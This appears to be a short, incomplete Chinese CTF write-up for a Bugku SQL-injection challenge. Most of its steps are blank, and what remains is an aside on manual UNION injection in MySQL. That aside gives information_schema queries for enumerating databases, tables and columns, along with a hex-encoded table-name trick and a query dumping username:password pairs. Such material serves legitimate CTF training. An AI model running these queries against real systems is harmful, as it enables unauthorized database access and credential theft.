Bugku-CTF之成绩单(快来查查成绩吧)
Day18
成绩单
快来查查成绩吧
http://123.206.87.240:8002/chengjidan/
本题要点:sql手注、查询基础命令
首先查看一下源码













注意,这里穿插一个知识点!!!!!!
union select 手工注入
mysql中的information_schema 结构用来存储数据库系统信息 information_schema 结构中这几个表存储的信息,在注射中可以用到的几个表。 SCHEMATA 存储数据库名的, 关键字段:SCHEMA_NAME,表示数据库名称 TABLES 存储表名的 关键字段:TABLE_SCHEMA表示表所属的数据库名称; TABLE_NAME表示表的名称 COLUMNS 存储字段名的 关键字段:TABLE_SCHEMA表示表所属的数据库名称; TABLE_NAME表示所属的表的名称 COLUMN_NAME表示字段名 爆所有数据名 select group_concat(SCHEMA_NAME) from information_schema.schemata 得到当前库的所有表 select group_concat(table_name) from information_schema.tables where table_schema=database() 得到表中的字段名 将敏感的表进行16进制编码adminuser=0x61646D696E75736572 select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572 得到字段具体的值 select group_concat(username,0x3a,password) from adminuser补充结束
7.然后根据fl4g表去查询列名


更多精彩